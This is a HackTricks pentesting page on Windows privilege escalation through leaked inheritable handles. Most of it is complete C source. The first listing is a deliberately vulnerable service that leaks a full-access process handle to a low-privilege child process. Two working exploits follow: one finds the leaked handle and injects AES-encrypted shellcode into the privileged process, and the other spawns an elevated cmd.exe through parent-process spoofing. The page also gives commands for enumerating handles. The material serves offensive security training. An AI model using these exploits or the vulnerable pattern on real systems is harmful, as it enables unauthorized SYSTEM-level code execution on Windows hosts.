HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
Leaked Handle Exploitation
Support HackTricks and get benefits!

Introduction

Handles in a process allow to access different Windows resources:
There have been already several privilege escalation cases where a privileged process with open and inheritable handles have run an unprivileged process giving it access to all those handles.
For example, imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also creates a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process. Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.

Interesting Handles

Process

As you read on the initial example if an unprivileged process inherits a process handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.
In this excellent article you can see how to exploit any process handle that has any of the following permissions:
  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

Thread

Similar to the process handles, if an unprivileged process inherits a thread handle of a privileged process with enough permissions it will be able to execute arbitrary code on it.
In this excellent article you can also see how to exploit any process handle that has any of the following permissions:
  • THREAD_ALL_ACCESS
  • THREAD_DIRECT_IMPERSONATION
  • THREAD_SET_CONTEXT

File, Key & Section Handles

If an unprivileged process inherits a handle with write equivalent permissions over a privileged file or registry, it will be able to overwrite the file/registry (and with a lot of luck, escalate privileged).
Section Handles are similar to file handles, the common name of this kinds of objects is "File Mapping". They are used to work with big files without keeping the entire file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.

How to see handles of processes

Process Hacker

โ€‹Process Hacker is a tool you can download for free. It has several amazing options to inspect processes and one of them is the capability to see the handles of each process.
Note that in order to see all the handles of all the processes, the SeDebugPrivilege is needed (so you need to run Process Hacker as administrator).
To see the handles of a process, right click in the process and select Handles:
You can then right click on the handle and check the permissions:

Sysinternals Handles

The Handles binary from Sysinternals will also list the handles per process in the console:

LeakedHandlesFinder

โ€‹This tool allows you to monitor leaked handles and even autoexploit them to escalate privileges.

Methodology

Now that you know how to find handles of processes what you need to check is if any unprivileged process is having access to privileged handles. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.
It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a user can still access the handles of his processes, so it might be useful if you want to privesc just from that user to execute the tools with the user regular permissions.
1
handle64.exe /a | findstr /r /i "process thread file key pid:"
Copied!

Vulnerable Example

For example, the following code belongs to a Windows service that would be vulnerable. The vulnerable code of this service binary is located inside the Exploit function. This function is starts creating a new handle process with full access. Then, it's creating a low privileged process (by copying the low privileged token of explorer.exe) executing C:\users\username\desktop\client.exe. The vulnerability resides in the fact it's creating the low privileged process with bInheritHandles as TRUE.
Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).
1
#include <windows.h>
2
#include <tlhelp32.h>
3
#include <tchar.h>
4
#pragma comment (lib, "advapi32")
5
โ€‹
6
TCHAR* serviceName = TEXT("HandleLeakSrv");
7
SERVICE_STATUS serviceStatus;
8
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
9
HANDLE stopServiceEvent = 0;
10
โ€‹
11
โ€‹
12
//Find PID of a proces from its name
13
int FindTarget(const char *procname) {
14
โ€‹
15
HANDLE hProcSnap;
16
PROCESSENTRY32 pe32;
17
int pid = 0;
18
19
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
20
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
21
22
pe32.dwSize = sizeof(PROCESSENTRY32);
23
24
if (!Process32First(hProcSnap, &pe32)) {
25
CloseHandle(hProcSnap);
26
return 0;
27
}
28
29
while (Process32Next(hProcSnap, &pe32)) {
30
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
31
pid = pe32.th32ProcessID;
32
break;
33
}
34
}
35
36
CloseHandle(hProcSnap);
37
38
return pid;
39
}
40
โ€‹
41
โ€‹
42
int Exploit(void) {
43
44
STARTUPINFOA si;
45
PROCESS_INFORMATION pi;
46
int pid = 0;
47
HANDLE hUserToken;
48
HANDLE hUserProc;
49
HANDLE hProc;
50
โ€‹
51
// open a handle to itself (privileged process) - this gets leaked!
52
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
53
โ€‹
54
// get PID of user low privileged process
55
if ( pid = FindTarget("explorer.exe") )
56
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
57
else
58
return -1;
59
60
// extract low privilege token from a user's process
61
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
62
CloseHandle(hUserProc);
63
return -1;
64
}
65
โ€‹
66
// spawn a child process with low privs and leaked handle
67
ZeroMemory(&si, sizeof(si));
68
si.cb = sizeof(si);
69
ZeroMemory(&pi, sizeof(pi));
70
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
71
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
72
โ€‹
73
CloseHandle(hProc);
74
CloseHandle(hUserProc);
75
return 0;
76
}
77
โ€‹
78
โ€‹
79
โ€‹
80
void WINAPI ServiceControlHandler( DWORD controlCode ) {
81
switch ( controlCode ) {
82
case SERVICE_CONTROL_SHUTDOWN:
83
case SERVICE_CONTROL_STOP:
84
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
85
SetServiceStatus( serviceStatusHandle, &serviceStatus );
86
โ€‹
87
SetEvent( stopServiceEvent );
88
return;
89
โ€‹
90
case SERVICE_CONTROL_PAUSE:
91
break;
92
โ€‹
93
case SERVICE_CONTROL_CONTINUE:
94
break;
95
โ€‹
96
case SERVICE_CONTROL_INTERROGATE:
97
break;
98
โ€‹
99
default:
100
break;
101
}
102
SetServiceStatus( serviceStatusHandle, &serviceStatus );
103
}
104
โ€‹
105
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
106
// initialise service status
107
serviceStatus.dwServiceType = SERVICE_WIN32;
108
serviceStatus.dwCurrentState = SERVICE_STOPPED;
109
serviceStatus.dwControlsAccepted = 0;
110
serviceStatus.dwWin32ExitCode = NO_ERROR;
111
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
112
serviceStatus.dwCheckPoint = 0;
113
serviceStatus.dwWaitHint = 0;
114
โ€‹
115
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
116
โ€‹
117
if ( serviceStatusHandle ) {
118
// service is starting
119
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
120
SetServiceStatus( serviceStatusHandle, &serviceStatus );
121
โ€‹
122
// do initialisation here
123
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
124
โ€‹
125
// running
126
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
127
serviceStatus.dwCurrentState = SERVICE_RUNNING;
128
SetServiceStatus( serviceStatusHandle, &serviceStatus );
129
โ€‹
130
Exploit();
131
WaitForSingleObject( stopServiceEvent, -1 );
132
โ€‹
133
// service was stopped
134
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
135
SetServiceStatus( serviceStatusHandle, &serviceStatus );
136
โ€‹
137
// do cleanup here
138
CloseHandle( stopServiceEvent );
139
stopServiceEvent = 0;
140
โ€‹
141
// service is now stopped
142
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
143
serviceStatus.dwCurrentState = SERVICE_STOPPED;
144
SetServiceStatus( serviceStatusHandle, &serviceStatus );
145
}
146
}
147
โ€‹
148
โ€‹
149
void InstallService() {
150
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
151
โ€‹
152
if ( serviceControlManager ) {
153
TCHAR path[ _MAX_PATH + 1 ];
154
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
155
SC_HANDLE service = CreateService( serviceControlManager,
156
serviceName, serviceName,
157
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
158
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
159
0, 0, 0, 0, 0 );
160
if ( service )
161
CloseServiceHandle( service );
162
}
163
CloseServiceHandle( serviceControlManager );
164
}
165
}
166
โ€‹
167
void UninstallService() {
168
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
169
โ€‹
170
if ( serviceControlManager ) {
171
SC_HANDLE service = OpenService( serviceControlManager,
172
serviceName, SERVICE_QUERY_STATUS | DELETE );
173
if ( service ) {
174
SERVICE_STATUS serviceStatus;
175
if ( QueryServiceStatus( service, &serviceStatus ) ) {
176
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
177
DeleteService( service );
178
}
179
CloseServiceHandle( service );
180
}
181
CloseServiceHandle( serviceControlManager );
182
}
183
}
184
โ€‹
185
int _tmain( int argc, TCHAR* argv[] )
186
{
187
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
188
InstallService();
189
}
190
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
191
UninstallService();
192
}
193
else {
194
SERVICE_TABLE_ENTRY serviceTable[] = {
195
{ serviceName, ServiceMain },
196
{ 0, 0 }
197
};
198
199
StartServiceCtrlDispatcher( serviceTable );
200
}
201
โ€‹
202
return 0;
203
}
Copied!

Exploit Example 1

In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.
In this example you can find the code of a possible exploit for C:\users\username\desktop\client.exe. The most interesting part of this code is located in GetVulnProcHandle. This function will start fetching all the handles, then it will check if any of them belongs to the same PID and if the handle belongs to a process. If all these requirements are completed (an accessible open process handle is found) , it try to inject and execute a shellcode abusing the handle of the process. The injection of the shellcode is done inside the Inject function and it will just write the shellcode inside the privileged process and create a thread inside the same process to execute the shellcode).
1
#include <windows.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5
#include <time.h>
6
#include <wincrypt.h>
7
#include <psapi.h>
8
#include <tchar.h>
9
#include <tlhelp32.h>
10
#include "client.h"
11
#pragma comment (lib, "crypt32.lib")
12
#pragma comment (lib, "advapi32")
13
#pragma comment (lib, "kernel32")
14
โ€‹
15
โ€‹
16
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
17
HCRYPTPROV hProv;
18
HCRYPTHASH hHash;
19
HCRYPTKEY hKey;
20
โ€‹
21
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
22
return -1;
23
}
24
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
25
return -1;
26
}
27
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
28
return -1;
29
}
30
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
31
return -1;
32
}
33
34
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
35
return -1;
36
}
37
38
CryptReleaseContext(hProv, 0);
39
CryptDestroyHash(hHash);
40
CryptDestroyKey(hKey);
41
42
return 0;
43
}
44
โ€‹
45
โ€‹
46
HANDLE GetVulnProcHandle(void) {
47
48
ULONG handleInfoSize = 0x10000;
49
NTSTATUS status;
50
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
51
HANDLE hProc = NULL;
52
POBJECT_TYPE_INFORMATION objectTypeInfo;
53
PVOID objectNameInfo;
54
UNICODE_STRING objectName;
55
ULONG returnLength;
56
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
57
DWORD dwOwnPID = GetCurrentProcessId();
58
59
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
60
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
61
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
62
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
63
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
64
โ€‹
65
printf("[+] Grabbing handles...");
66
โ€‹
67
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
68
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
69
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
70
โ€‹
71
if (status != STATUS_SUCCESS)
72
{
73
printf("[!] NtQuerySystemInformation failed!\n");
74
return 0;
75
}
76
โ€‹
77
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
78
โ€‹
79
// iterate handles until we find the privileged process handle
80
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
81
{
82
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
83
โ€‹
84
// Check if this handle belongs to our own process
85
if (handle.UniqueProcessId != dwOwnPID)
86
continue;
87
โ€‹
88
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
89
if (pNtQueryObject( (HANDLE) handle.HandleValue,
90
ObjectTypeInformation,
91
objectTypeInfo,
92
0x1000,
93
NULL ) != STATUS_SUCCESS)
94
continue;
95
โ€‹
96
// skip some objects to avoid getting stuck
97
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
98
if (handle.GrantedAccess == 0x0012019f
99
&& handle.GrantedAccess != 0x00120189
100
&& handle.GrantedAccess != 0x120089
101
&& handle.GrantedAccess != 0x1A019F ) {
102
free(objectTypeInfo);
103
continue;
104
}
105
โ€‹
106
// get object name information
107
objectNameInfo = malloc(0x1000);
108
if (pNtQueryObject( (HANDLE) handle.HandleValue,
109
ObjectNameInformation,
110
objectNameInfo,
111
0x1000,
112
&returnLength ) != STATUS_SUCCESS) {
113
114
// adjust the size of a returned object and query again
115
objectNameInfo = realloc(objectNameInfo, returnLength);
116
if (pNtQueryObject( (HANDLE) handle.HandleValue,
117
ObjectNameInformation,
118
objectNameInfo,
119
returnLength,
120
NULL ) != STATUS_SUCCESS) {
121
free(objectTypeInfo);
122
free(objectNameInfo);
123
continue;
124
}
125
}
126
โ€‹
127
// check if we've got a process object
128
objectName = *(PUNICODE_STRING) objectNameInfo;
129
UNICODE_STRING pProcess;
130
โ€‹
131
pRtlInitUnicodeString(&pProcess, L"Process");
132
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
133
printf("[+] Found process handle (%x)\n", handle.HandleValue);
134
hProc = (HANDLE) handle.HandleValue;
135
free(objectTypeInfo);
136
free(objectNameInfo);
137
break;
138
}
139
else
140
continue;
141
142
free(objectTypeInfo);
143
free(objectNameInfo);
144
}
145
146
return hProc;
147
}
148
โ€‹
149
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
150
151
LPVOID pRemoteCode = NULL;
152
HANDLE hThread = NULL;
153
BOOL bStatus = FALSE;
154
โ€‹
155
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
156
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
157
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
158
159
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
160
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
161
162
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
163
if (bStatus != FALSE) {
164
WaitForSingleObject(hThread, -1);
165
CloseHandle(hThread);
166
return 0;
167
}
168
else
169
return -1;
170
}
171
โ€‹
172
int main(int argc, char **argv) {
173
174
int pid = 0;
175
HANDLE hProc = NULL;
176
โ€‹
177
// AES encrypted shellcode spawning notepad.exe (ExitThread)
178
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
179
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
180
unsigned int payload_len = sizeof(payload);
181
โ€‹
182
printf("My PID: %d\n", GetCurrentProcessId());
183
getchar();
184
185
// find a leaked handle to a process
186
hProc = GetVulnProcHandle();
187
188
if ( hProc != NULL) {
189
190
// d#Decrypt payload
191
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
192
printf("[+] Sending gift...");
193
// Inject and run the payload in the privileged context
194
Inject(hProc, payload, payload_len);
195
printf("done.\n");
196
}
197
getchar();
198
โ€‹
199
return 0;
200
}
Copied!

Exploit Example 2

In a real scenario you probably won't be able to control the binary that is going to be executed by the vulnerable code (C:\users\username\desktop\client.exe in this case). Probably you will compromise a process and you will need to look if you can access any vulnerable handle of any privileged process.
In this example, instead of abusing the open handle to inject and execute a shellcode, it's going to be used the token of the privileged open handle process to create a new one. This is done in lines from 138 to 148.
Note how the function UpdateProcThreadAttribute is used with the attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS and the handle to the open privileged process. This means that the created process thread executing _cmd.exe_** will have the same token privilege as the open handle process**.
1
#include <windows.h>
2
#include <stdio.h>
3
#include <stdlib.h>
4
#include <string.h>
5
#include <time.h>
6
#include <wincrypt.h>
7
#include <psapi.h>
8
#include <tchar.h>
9
#include <tlhelp32.h>
10
#include "client.h"
11
#pragma comment (lib, "crypt32.lib")
12
#pragma comment (lib, "advapi32")
13
#pragma comment (lib, "kernel32")
14
โ€‹
15
โ€‹
16
HANDLE GetVulnProcHandle(void) {
17
18
ULONG handleInfoSize = 0x10000;
19
NTSTATUS status;
20
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
21
HANDLE hProc = NULL;
22
POBJECT_TYPE_INFORMATION objectTypeInfo;
23
PVOID objectNameInfo;
24
UNICODE_STRING objectName;
25
ULONG returnLength;
26
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
27
DWORD dwOwnPID = GetCurrentProcessId();
28
29
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
30
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
31
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
32
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
33
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
34
โ€‹
35
printf("[+] Grabbing handles...");
36
โ€‹
37
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
38
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
39
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
40
โ€‹
41
if (status != STATUS_SUCCESS)
42
{
43
printf("[!] NtQuerySystemInformation failed!\n");
44
return 0;
45
}
46
โ€‹
47
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
48
โ€‹
49
// iterate handles until we find the privileged process handle
50
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
51
{
52
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
53
โ€‹
54
// Check if this handle belongs to our own process
55
if (handle.UniqueProcessId != dwOwnPID)
56
continue;
57
โ€‹
58
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
59
if (pNtQueryObject( (HANDLE) handle.HandleValue,
60
ObjectTypeInformation,
61
objectTypeInfo,
62
0x1000,
63
NULL ) != STATUS_SUCCESS)
64
continue;
65
โ€‹
66
// skip some objects to avoid getting stuck
67
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
68
if (handle.GrantedAccess == 0x0012019f
69
&& handle.GrantedAccess != 0x00120189
70
&& handle.GrantedAccess != 0x120089
71
&& handle.GrantedAccess != 0x1A019F ) {
72
free(objectTypeInfo);
73
continue;
74
}
75
โ€‹
76
// get object name information
77
objectNameInfo = malloc(0x1000);
78
if (pNtQueryObject( (HANDLE) handle.HandleValue,
79
ObjectNameInformation,
80
objectNameInfo,
81
0x1000,
82
&returnLength ) != STATUS_SUCCESS) {
83
84
// adjust the size of a returned object and query again
85
objectNameInfo = realloc(objectNameInfo, returnLength);
86
if (pNtQueryObject( (HANDLE) handle.HandleValue,
87
ObjectNameInformation,
88
objectNameInfo,
89
returnLength,
90
NULL ) != STATUS_SUCCESS) {
91
free(objectTypeInfo);
92
free(objectNameInfo);
93
continue;
94
}
95
}
96
โ€‹
97
// check if we've got a process object
98
objectName = *(PUNICODE_STRING) objectNameInfo;
99
UNICODE_STRING pProcess;
100
โ€‹
101
pRtlInitUnicodeString(&pProcess, L"Process");
102
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
103
printf("[+] Found process handle (%x)\n", handle.HandleValue);
104
hProc = (HANDLE) handle.HandleValue;
105
free(objectTypeInfo);
106
free(objectNameInfo);
107
break;
108
}
109
else
110
continue;
111
112
free(objectTypeInfo);
113
free(objectNameInfo);
114
}
115
116
return hProc;
117
}
118
โ€‹
119
โ€‹
120
int main(int argc, char **argv) {
121
122
HANDLE hProc = NULL;
123
STARTUPINFOEXA si;
124
PROCESS_INFORMATION pi;
125
int pid = 0;
126
SIZE_T size;
127
BOOL ret;
128
โ€‹
129
Sleep(20000);
130
// find leaked process handle
131
hProc = GetVulnProcHandle();
132
โ€‹
133
if ( hProc != NULL) {
134
โ€‹
135
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
136
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
137
โ€‹
138
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
139
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
140
141
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
142
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
143
โ€‹
144
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
145
146
// Spawn elevated cmd process
147
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
148
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
149
โ€‹
150
if (ret == FALSE) {
151
printf("[!] Error spawning new process: [%d]\n", GetLastError());
152
return -1;
153
}
154
}
155
156
Sleep(20000);
157
return 0;
158
}
Copied!

Other tools and examples

This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.
Another tool to leak a handle and exploit it.

References